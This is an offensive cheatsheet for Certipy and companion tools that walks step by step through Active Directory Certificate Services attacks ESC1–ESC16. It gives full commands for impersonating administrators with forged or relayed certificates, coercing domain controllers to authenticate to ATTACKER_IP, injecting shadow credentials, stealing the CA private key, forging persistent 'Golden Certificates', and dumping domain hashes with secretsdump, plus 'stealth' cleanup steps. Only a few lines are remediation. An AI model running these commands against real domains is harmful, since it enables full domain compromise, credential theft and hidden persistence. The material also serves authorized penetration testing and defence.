Certipy cheatsheet

# Step 1: Full enumeration - outputs .txt, .json, and BloodHound zip
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -vulnerable -enabled

# Step 2: Identify which ESC applies (see decision tree below)
# Step 3: Request certificate with appropriate ESC exploit
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA' \
  -template 'VulnerableTemplate' -upn '[email protected]'

# Step 4: Authenticate - get NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

# Step 5: Lateral movement with NT hash
impacket-secretsdump -hashes ':NThash' 'domain.local/[email protected]'
nxc smb 192.168.1.10 -u administrator -H 'NThash' --ntds

# Bonus: also check for ESC16 (CA-wide disabled SID extension - Certipy >= 4.8.2)
certipy find -u '[email protected]' -p 'Password1' -dc-ip 192.168.1.10 -enabled
# In CA properties look for: Disabled Extensions: 1.3.6.1.4.1.311.25.2

# Persistence after escalation: enroll a long-lived cert under any compromised user
# (PERSIST1) - survives password resets, valid 1 year by default
certipy req -u '[email protected]' -hashes ':NThash' -ca 'CORP-CA' -template 'User'

# Domain persistence: backup the CA private key for offline forging (DPERSIST1)
certipy ca -backup -u '[email protected]' -hashes ':NThash' -ca 'CORP-CA'

# Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, enrollment rights granted
# Certipy output shows: "[!] Vulnerabilities: ESC1"

# Request cert with arbitrary UPN (impersonate admin)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -ca 'domain-CA-NAME' \
  -template 'VulnerableTemplate' \
  -upn '[email protected]'
# Output: administrator.pfx

# With hash instead of password
certipy req -u '[email protected]' -hashes ':NThash' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'VulnerableTemplate' -upn '[email protected]'

# Specify DNS SAN for machine account impersonation
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'VulnerableTemplate' \
  -dns 'dc.domain.local'

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# Returns: NT hash + administrator.ccache

# ESC4: attacker has WriteProperty/WriteDACL/Owner on template AD object
# Certipy shows: "Permissions: [Write]"

# Step 1: Save current template config (backup for cleanup)
certipy template -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -template 'VulnerableTemplate' \
  -save-old
# Output: VulnerableTemplate.json

# Step 2: Modify template to enable ENROLLEE_SUPPLIES_SUBJECT (makes it ESC1)
certipy template -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -template 'VulnerableTemplate'

# Step 3: Request cert as administrator (ESC1 flow)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA' \
  -template 'VulnerableTemplate' \
  -upn '[email protected]'

# Step 4: Restore template to original state (stealth)
certipy template -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -template 'VulnerableTemplate' \
  -configuration VulnerableTemplate.json

# ESC7a: Have ManageCertificates right on CA
# Step 1: Request a cert that requires manager approval (goes Pending)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'SubCA'
# Output: Request ID (e.g., 12)

# Step 2: Issue the pending request using ManageCertificates
certipy ca -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -issue-request 12

# Step 3: Retrieve the issued certificate
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -retrieve 12

# Step 4: Authenticate
certipy auth -pfx user.pfx -dc-ip 192.168.1.10

# ESC7b: Have ManageCA right - add yourself as CA officer then abuse ManageCertificates

# Step 1: Add current user as CA officer
certipy ca -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -add-officer 'user'

# Step 2: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA (now you have ESC6)
certipy ca -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2

# Alternative: use ManageCA to enable SubCA template issuance
# Then follow ESC7a workflow above

# ESC8: Web Enrollment (HTTP certsrv) active + NTLM relay possible
# Goal: relay DC machine account auth to get DC certificate

# Step 1: Start Certipy relay listener
certipy relay \
  -ca 'http://CA-SERVER/certsrv/certfnsh.asp' \
  -template 'DomainController'
# Listens on 0.0.0.0:445

# Step 2 (separate terminal): Coerce DC to authenticate to attacker
# Option A - PetitPotam (MS-EFSR)
python3 PetitPotam.py -u 'user' -p 'Password1' ATTACKER_IP DC_IP

# Option B - Coercer (multiple protocols)
coercer coerce -l ATTACKER_IP -t DC_IP -d domain.local -u user -p Password1

# Option C - PrinterBug (MS-RPRN, no auth needed in some configs)
python3 SpoolSample.py DC_IP ATTACKER_IP

# Step 3: Certipy catches relay, issues certificate
# Output: dc.pfx

# Step 4: Auth as DC machine account -> DCSync
certipy auth -pfx dc.pfx -dc-ip 192.168.1.10
# Get DC NT hash, then:
impacket-secretsdump -hashes ':NThash' 'domain.local/[email protected]'

Conditions:
  1. Template has CT_FLAG_NO_SECURITY_EXTENSION (msPKI-Enrollment-Flag includes 0x80000)
  2. Attacker has GenericWrite (or equivalent) over another domain account (proxy account)
  3. StrongCertificateBindingEnforcement != 2  (0 or 1)
  4. Attacker can enroll in the template

Attack chain: inject shadow creds into proxy account -> spoof UPN -> request cert -> revert UPN -> auth

# ESC9: The no_security_extension flag means the issued cert has no SID binding extension
# Without SID in cert, Windows maps the cert to account by UPN only -> spoof possible

# Step 1: Get NT hash of proxy account (the one you have GenericWrite on)
# Inject shadow credential into proxy account (requires write on msDS-KeyCredentialLink)
certipy shadow auto \
  -u '[email protected]' -p 'Password1' \
  -account 'proxyuser' \
  -dc-ip 192.168.1.10
# Output: proxyuser.pfx + NT hash of proxyuser

# Step 2: Change proxy account's UPN to match target (administrator)
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' \
  -upn 'administrator' \
  -dc-ip 192.168.1.10

# Step 3: Request cert as proxyuser from ESC9 template
# Use NT hash from shadow auto step
certipy req \
  -u '[email protected]' -hashes ':NTHashOfProxyUser' \
  -ca 'domain-CA-NAME' \
  -template 'ESC9Template' \
  -dc-ip 192.168.1.10
# Output: administrator.pfx (UPN = administrator, no SID binding)

# Step 4: Revert proxy account UPN to original (stealth)
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' \
  -upn '[email protected]' \
  -dc-ip 192.168.1.10

# Step 5: Authenticate as administrator
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10

ESC9 splits into two BloodHound edges depending on whether the spoofed identity is a user (UPN) or a computer (dNSHostName).

# ESC9b - computer variant (impersonate DC$ via dNSHostName binding)
# 1. Create or take over a machine account (MachineAccountQuota)
certipy account create -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -pass 'MachinePass1' -dc-ip 192.168.1.10

# 2. Clear SPNs to avoid duplicate SPN error after dNSHostName change
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -spns '' -dc-ip 192.168.1.10

# 3. Set dNSHostName to victim DC FQDN
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -dns 'dc01.domain.local' -dc-ip 192.168.1.10

# 4. Enroll on a Machine template with NO_SECURITY_EXTENSION
certipy req -u '[email protected]' -p 'MachinePass1' \
  -ca 'CORP-CA' -target ca.domain.local \
  -template 'ESC9-MachineTemplate' -dc-ip 192.168.1.10

# 5. Restore dNSHostName (cleanup)
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -dns 'pwned.domain.local' -dc-ip 192.168.1.10

# 6. Authenticate as DC01$ -> DCSync
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10

ESC10b is exploited via Schannel auth instead of PKINIT. Use certipy auth -pfx machine.pfx -ldap-shell or PassTheCert. Common target: DC computer accounts (yields LDAP-as-DC$ -> RBCD / membership writes).

# ESC10 Case 1: Registry key StrongCertificateBindingEnforcement = 0 on DC
# Key: HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
# Value 0 = disabled (no SID check), 1 = audit, 2 = enforced
# Attack is identical to ESC9 but works with ANY template (not just no_security_extension ones)

# Step 1: Shadow auto on proxy account
certipy shadow auto \
  -u '[email protected]' -p 'Password1' \
  -account 'proxyuser' \
  -dc-ip 192.168.1.10

# Step 2: Spoof proxy UPN to administrator
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' \
  -upn 'administrator' \
  -dc-ip 192.168.1.10

# Step 3: Request from standard User template (no special template needed)
certipy req \
  -u '[email protected]' -hashes ':NTHashOfProxyUser' \
  -ca 'domain-CA-NAME' -template 'User' \
  -dc-ip 192.168.1.10

# Step 4: Revert UPN
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' -upn '[email protected]' \
  -dc-ip 192.168.1.10

# Step 5: Authenticate
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10

# ESC10 Case 2: CertificateMappingMethods includes UPN flag (bit 2 = 0x4)
# Key: HKLM\SYSTEM\CurrentControlSet\Services\Kdc\CertificateMappingMethods
# Value includes 0x4 -> UPN mapping enabled -> same UPN spoofing attack applies
# Check on DC: reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v CertificateMappingMethods

# Same attack chain as Case 1, but may work even when StrongCertificateBindingEnforcement = 1
# Target: machine accounts (Schannel/LDAPS mapping) instead of PKINIT in some configs

# Step 1-3 identical to Case 1
# For machine account impersonation (GenericWrite on computer object):
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'TARGETPC$' \
  -upn 'administrator' \
  -dc-ip 192.168.1.10

certipy req \
  -u '[email protected]' -hashes ':NTHashOfMachineAccount' \
  -ca 'domain-CA-NAME' -template 'Machine' \
  -dc-ip 192.168.1.10

certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'TARGETPC$' \
  -upn '[email protected]' \
  -dc-ip 192.168.1.10

certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10

# ESC10b Schannel auth (LDAPS shell as the spoofed identity)
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10 -ldap-shell
# From the shell:
#   set_rbcd dc01 attacker$           # configure RBCD on DC
#   add_user_to_group user "Domain Admins"
#   change_password user 'NewPass1!'

# Alternative Schannel client (PassTheCert)
python3 passthecert.py \
  -action ldap-shell \
  -crt user.crt -key user.key \
  -domain domain.local -dc-ip 192.168.1.10

# ESC11: CA RPC interface (MS-ICPR / ICertPassage) does not enforce encryption
# Check: IF_ENFORCEENCRYPTICERTREQUEST flag NOT set on CA
# Certipy shows: "Enforce Encryption for Requests: Disabled"
# Unlike ESC8 (HTTP), this targets the RPC/DCOM enrollment interface directly

# Verify flag (on CA server as admin):
certutil -getreg CA\InterfaceFlags
# If IF_ENFORCEENCRYPTICERTREQUEST (0x200) is absent -> vulnerable

# Step 1: Start Certipy RPC relay listener
certipy relay \
  -target 'rpc://CA-SERVER-IP' \
  -ca 'domain-CA-NAME' \
  -template 'DomainController'
# Listens on 0.0.0.0:445

# Step 2: Coerce DC NTLM authentication to attacker relay
coercer coerce \
  -l ATTACKER_IP -t DC_IP \
  -d domain.local -u user -p Password1

# Alternative coercion:
python3 PetitPotam.py -u user -p Password1 ATTACKER_IP DC_IP

# Step 3: Relay catches DC$ auth, CA issues certificate via RPC
# Output: dc.pfx

# Step 4: Authenticate as DC
certipy auth -pfx dc.pfx -dc-ip 192.168.1.10

# Step 5: DCSync
impacket-secretsdump \
  -hashes ':DCNTHash' \
  'domain.local/[email protected]'

# Remediate: enforce RPC encryption
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc && net start certsvc

Conditions:
  1. Certificate template has an issuance policy OID extension (msPKI-Certificate-Policy)
  2. The issuance policy object (msPKI-Enterprise-Oid) has msDS-OIDToGroupLink set
  3. Linked group must be Universal scope
  4. Current user has enrollment rights on the template
  5. No manager approval required

Effect: Authenticating with the issued certificate grants membership of the linked group
        in the Kerberos PAC even if the account is not a member - persistent and stealthy.

# Step 1: Enumerate - look for OID group link in certipy output
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -vulnerable -enabled
# Look for: "ESC13" and "Issuance Policies" sections
# Also look for msDS-OIDToGroupLink attributes on policy objects

# Step 2: Identify which group the OID links to
# In LDAP: check CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=...
# Attribute: msDS-OIDToGroupLink -> points to group DN
# Verify group is Universal and note its privileges

# Step 3: Enroll in the template (standard request)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -ca 'domain-CA-NAME' \
  -template 'ESC13Template'
# Output: user.pfx

# Step 4: Authenticate - TGT PAC will include linked group SID
certipy auth -pfx user.pfx -dc-ip 192.168.1.10
# The TGT now contains the linked group RID in the PAC
# If linked group = Domain Admins -> full DA access

# Step 5: Use ccache
export KRB5CCNAME=user.ccache
impacket-secretsdump -k -no-pass domain.local/[email protected]

PassTheCert authenticates to LDAP/LDAPS using a certificate via Schannel (TLS).
- Bypasses LDAP signing requirements (bind is after StartTLS)
- Bypasses LDAP channel binding (Schannel is exempt by design)
- Works when PKINIT is unavailable (DC has no smart card cert)
- Requires: certificate + private key for the target account

# Step 1: Extract cert and key from PFX
certipy cert -pfx administrator.pfx -nokey -out administrator.crt
certipy cert -pfx administrator.pfx -nocert -out administrator.key

# Or via openssl
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt -nodes
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key -nodes

# Step 2a: Certipy LDAP shell (built-in Schannel)
certipy auth -pfx administrator.pfx \
  -dc-ip 192.168.1.10 \
  -ldap-shell
# Provides interactive LDAP shell: set_rbcd, add_user_to_group, etc.

# Step 2b: passthecert.py - elevate a user to DA
python3 passthecert.py \
  -action modify_user \
  -crt administrator.crt \
  -key administrator.key \
  -domain domain.local \
  -dc-ip 192.168.1.10 \
  -target targetuser \
  -elevate

# Step 2c: passthecert.py - full LDAP shell
python3 passthecert.py \
  -action ldap-shell \
  -crt administrator.crt \
  -key administrator.key \
  -domain domain.local \
  -dc-ip 192.168.1.10

# Step 2d: passthecert.py - add user to Domain Admins
python3 passthecert.py \
  -action modify_group \
  -crt administrator.crt \
  -key administrator.key \
  -domain domain.local \
  -dc-ip 192.168.1.10 \
  -target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' \
  -add-member 'CN=myuser,CN=Users,DC=domain,DC=local'

# Step 2e: RBCD via passthecert (for machine accounts)
python3 passthecert.py \
  -action write_rbcd \
  -crt dc.crt \
  -key dc.key \
  -domain domain.local \
  -dc-ip 192.168.1.10 \
  -delegate-to 'DC$' \
  -delegate-from 'ATTACKER_MACHINE$'

# Golden Certificate: forge any user cert offline using CA private key
# Persistent access even after password changes
# Requires: CA private key (from backup, ESC7, or CA server compromise)

# Method A: Certipy CA backup (requires ManageCA or local admin on CA)
certipy ca \
  -backup \
  -ca 'domain-CA-NAME' \
  -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10
# Output: domain-CA-NAME.pfx (CA cert + private key)

# Method B: Extract from CA server via Mimikatz (local admin on CA)
# On CA server:
mimikatz # crypto::capi
mimikatz # crypto::certificates /export /systemstore:LOCAL_MACHINE

# Method C: From NTDS backup (if CA stores key in AD)
# certipy will also find NTDS-based CA keys during find phase

# Forge certificate for any user (offline, no CA interaction)
certipy forge \
  -ca-pfx 'domain-CA-NAME.pfx' \
  -upn '[email protected]' \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx

# Forge cert for krbtgt (persistence - Golden Cert)
certipy forge \
  -ca-pfx 'domain-CA-NAME.pfx' \
  -upn '[email protected]' \
  -subject 'CN=krbtgt,CN=Users,DC=domain,DC=local' \
  -crl 'ldap:///CN=CA,CN=host,CN=CDP,...'

# Authenticate with forged cert
certipy auth -pfx administrator_forged.pfx \
  -domain domain.local \
  -dc-ip 192.168.1.10

# Shadow Credentials: add a certificate-based credential to an account's
# msDS-KeyCredentialLink attribute (requires WriteProperty on that attribute)

# Auto mode: add key, authenticate, get NT hash, output pfx
certipy shadow auto \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 192.168.1.10
# Output: targetuser.pfx + NT hash

# Manual: add key credential only
certipy shadow add \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 192.168.1.10
# Output: targetuser.pfx, device-id for cleanup

# Authenticate with the shadow credential cert
certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.10

# Cleanup: remove the injected key credential
certipy shadow remove \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -device-id 'GUID-from-add-output' \
  -dc-ip 192.168.1.10

# List existing key credentials on account
certipy shadow list \
  -u '[email protected]' -p 'Password1' \
  -account 'targetuser' \
  -dc-ip 192.168.1.10

# PKINITtools by dirkjanm - PKINIT and U2U attacks
git clone https://github.com/dirkjanm/PKINITtools
pip install -r PKINITtools/requirements.txt

# gettgtpkinit.py: request TGT using certificate (alternative to certipy auth)
python3 PKINITtools/gettgtpkinit.py \
  -cert-pfx administrator.pfx \
  domain.local/administrator \
  administrator.ccache
# Or with PEM cert+key:
python3 PKINITtools/gettgtpkinit.py \
  -cert-pem administrator.crt \
  -key-pem administrator.key \
  domain.local/administrator \
  administrator.ccache

# getnthash.py: recover NT hash from TGT via U2U
export KRB5CCNAME=administrator.ccache
python3 PKINITtools/getnthash.py \
  -key <AS-REP encryption key printed by gettgtpkinit> \
  domain.local/administrator

# gets4uticket.py: S4U2Self for service ticket without password
python3 PKINITtools/gets4uticket.py \
  kerberos+ccache://domain.local\\administrator:[email protected] \
  cifs/[email protected] \
  administrator_cifs.ccache

ESC5 covers write access to PKI AD objects (CA object, NTAuthCertificates, CertificationAuthority). With write access to these objects you can escalate to full PKI control - add your CA, modify trust anchors, or push arbitrary certificates into NTAuth.

# Enumerate PKI object ACLs
certipy find -u [email protected] -p pass -dc-ip DC_IP -vulnerable

# If you have write access to PKI objects:
# - Modify CA object properties
# - Add attacker-controlled CA to NTAuthCertificates
# - Combined with ESC7 for full CA takeover

# Golden Certificate if PKI objects writable
certipy ca -backup -u [email protected] -hashes :HASH -ca CORP-CA
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC12 requires admin shell access on the CA server. The CA private key is stored in DPAPI or the CSP. With it, you can forge certificates for any user indefinitely (Golden Certificate).

# If you have admin on the CA server:

# Method 1: certipy ca -backup (extracts CA key as PFX)
certipy ca -backup -ca CORP-CA -u [email protected] -p pass

# Method 2: DPAPI extraction on the CA server
# The CA key is stored under:
# C:\ProgramData\Microsoft\Crypto\Keys\ (CSP)
# C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ (CNG)

# Forge certificate for any user
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC14 (explicit certificate mapping) allows an attacker with write access to a target's altSecurityIdentities attribute to map any certificate to that account. Combined with ESC9/ESC10 for implicit mapping abuse.

# Requires: GenericWrite on target account's altSecurityIdentities

# Explicit mapping - set altSecurityIdentities to map your cert
# Use with certipy shadow or pywhisker for key credential link

# Implicit mapping (ESC9/ESC10 variant)
certipy shadow auto -username [email protected] -p pass -account target

# Reset target UPN, request cert, authenticate
certipy account update -username [email protected] -password pass \
  -user target -upn administrator
certipy req -u [email protected] -hashes :NTHash -ca CORP-CA -template User
certipy account update -username [email protected] -password pass \
  -user target -upn [email protected]
certipy auth -pfx administrator.pfx -domain domain.local

ESC15 abuses version 1 certificate templates with the enrollee flag. Using the --application-policies flag in certipy (PR 228), you can request certificates with arbitrary application policies, enabling enrollment agent abuse or client authentication on templates not explicitly designed for it.

# Method 1: Request cert with Certificate Request Agent policy
# (turns any v1 template with enrollee flag into an enrollment agent cert)
certipy req -u [email protected] -p pass -target CA_SERVER \
  -template 'VulnV1Template' -ca CORP-CA \
  --application-policies 'Certificate Request Agent'

# Then use the enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p pass -target CA_SERVER \
  -template 'AnotherTemplate' -ca CORP-CA \
  -on-behalf-of 'domain\administrator' -pfx agent.pfx

# Method 2: Request cert with Client Authentication policy
# (enables PKINIT auth on templates that don't normally allow it)
certipy req -u [email protected] -p pass -target CA_SERVER \
  -template 'VulnV1Template' -ca CORP-CA \
  -upn [email protected] \
  --application-policies 'Client Authentication'

# Authenticate (Schannel only for method 2 in some cases)
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC16 is essentially "ESC9 by default for the entire CA". The CA registry contains an explicit DisableExtensionList entry for 1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT), so EVERY certificate the CA issues lacks the SID security binding extension - regardless of template flags. Combined with weak DC binding enforcement (StrongCertificateBindingEnforcement = 0 or 1), any UPN/dNSHostName-based mapping can be hijacked by an attacker with GenericWrite on a victim account.

Vulnerable conditions:
  1. CA HKLM\SYSTEM\CCS\Services\CertSvc\Configuration\<CA>\PolicyModules\...\DisableExtensionList
     contains "1.3.6.1.4.1.311.25.2"
     (set via:  certutil -setreg policy\DisableExtensionList +"1.3.6.1.4.1.311.25.2")
  2. Attacker has enroll permission on at least one client-auth template (e.g. User, Machine)
  3. Attacker has GenericWrite (or equivalent) over a victim principal
  4. DC StrongCertificateBindingEnforcement != 2 (Full Enforcement)
  5. Certipy >= 4.8.2 required for ESC16 detection / exploitation

# Certipy (>= 4.8.2) flags ESC16 in CA properties
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -enabled -stdout
# Look for:
#   "Disabled Extensions: 1.3.6.1.4.1.311.25.2"
#   "[!] Vulnerabilities: ESC16"

Certify.exe enum-cas --hide-admins
# "Disabled Extensions: <unknown> (1.3.6.1.4.1.311.25.2)"

# Verify directly on CA host
certutil -getreg policy\DisableExtensionList

# Step 1: Save victim's current UPN (for cleanup)
certipy account read -u '[email protected]' -p 'Password1' \
  -user 'victim' -dc-ip 192.168.1.10

# Step 2: Spoof victim UPN to target Administrator
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'victim' -upn 'administrator' \
  -dc-ip 192.168.1.10

# Step 3: Enroll on ANY standard template (no NO_SECURITY_EXTENSION needed,
#         the CA strips the SID extension globally)
certipy req -u '[email protected]' -hashes ':NThashOfVictim' \
  -ca 'CORP-CA' -target ca.domain.local \
  -template 'User' -dc-ip 192.168.1.10
# Output: administrator.pfx (no szOID_NTDS_CA_SECURITY_EXT extension)

# Step 4: Restore victim UPN
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'victim' -upn '[email protected]' \
  -dc-ip 192.168.1.10

# Step 5: PKINIT auth - DC falls back to UPN mapping (no SID to validate)
certipy auth -pfx administrator.pfx \
  -domain domain.local -username administrator \
  -dc-ip 192.168.1.10
# -> administrator NT hash + TGT

• ESC16 is the CA-wide cousin of ESC9: instead of one vulnerable template with CT_FLAG_NO_SECURITY_EXTENSION, the CA omits the SID extension on every cert it issues. This makes detection trivial server-side but means any attacker with GenericWrite + enroll on any template can pivot.
• Combine with ESC10a (StrongCertificateBindingEnforcement = 0) for guaranteed exploitability: even templates that would normally embed the SID extension fail to do so on this CA.
• Combine with ESC10b for Schannel/LDAPS-based DC computer impersonation: spoof dNSHostName instead of UPN.
• Cleanup primitive on the CA (defender side): certutil -setreg policy\DisableExtensionList -"1.3.6.1.4.1.311.25.2" then restart certsvc.
• BloodHound CE adds ADCSESC16 edge in recent collector versions. SpecterOps blog post: "Exploiting ESC16 in Active Directory Certificate Services".
• See also: ESC9, ESC10.

# 1. Find vulnerable ESC1 template
certipy find -vulnerable -u [email protected] -p pass -dc-ip DC_IP

# 2. Request cert with admin UPN (ENROLLEE_SUPPLIES_SUBJECT)
certipy req -u [email protected] -p pass -ca CORP-CA \
  -template VulnTemplate -upn [email protected]

# 3. Authenticate with forged certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# 4. Use NT hash for domain dump
impacket-secretsdump domain.local/administrator@DC_IP -hashes :NThash

# 1. Confirm web enrollment is active
certipy find -u [email protected] -p pass -dc-ip DC_IP
# Look for: Web Enrollment: Enabled

# 2. Start relay listener targeting CA web enrollment
certipy relay -ca http://CA/certsrv/certfnsh.asp -template DomainController

# 3. Coerce DC authentication (in another terminal)
python3 PetitPotam.py ATTACKER_IP DC_IP

# 4. Relay captures DC NTLM auth -> certipy issues DC cert (dc.pfx)

# 5. Authenticate with DC certificate
certipy auth -pfx dc.pfx -dc-ip DC_IP

# 6. Full domain dump with DC NT hash
impacket-secretsdump domain.local/DC\$@DC_IP -hashes :NThash

# 1. Requires: GenericWrite on proxy account + weak cert binding (no strong mapping)

# 2. Get proxy user NT hash via shadow credentials
certipy shadow auto -account proxyuser -u [email protected] -p pass

# 3. Change proxy user UPN to administrator
certipy account update -user proxyuser -upn administrator -u [email protected] -p pass

# 4. Request cert as proxy user (UPN = administrator)
certipy req -u [email protected] -hashes :NTHash -ca CORP-CA -template User

# 5. Revert proxy user UPN
certipy account update -user proxyuser -upn [email protected] -u [email protected] -p pass

# 6. Authenticate with cert (resolves to administrator via UPN)
certipy auth -pfx administrator.pfx -domain domain.local

# 1. Shadow credentials on DC machine account (requires GenericWrite on DC$)
certipy shadow auto -account DC$ -u [email protected] -p pass

# 2. Auth with DC cert -> get DC NT hash
certipy auth -pfx dc.pfx -dc-ip DC_IP

# 3. Dump CA server admin hash / domain backup key
impacket-secretsdump domain.local/DC\$@DC_IP -hashes :NThash

# 4. Backup CA private key
certipy ca -backup -ca domain-CA -u [email protected] -hashes :AdminHash

# 5. Forge certificate for krbtgt (Golden Cert)
certipy forge -ca-pfx domain-CA.pfx -upn [email protected] -subject "CN=krbtgt"

# 6. Persistent domain access via forged cert
certipy auth -pfx krbtgt_forged.pfx -dc-ip DC_IP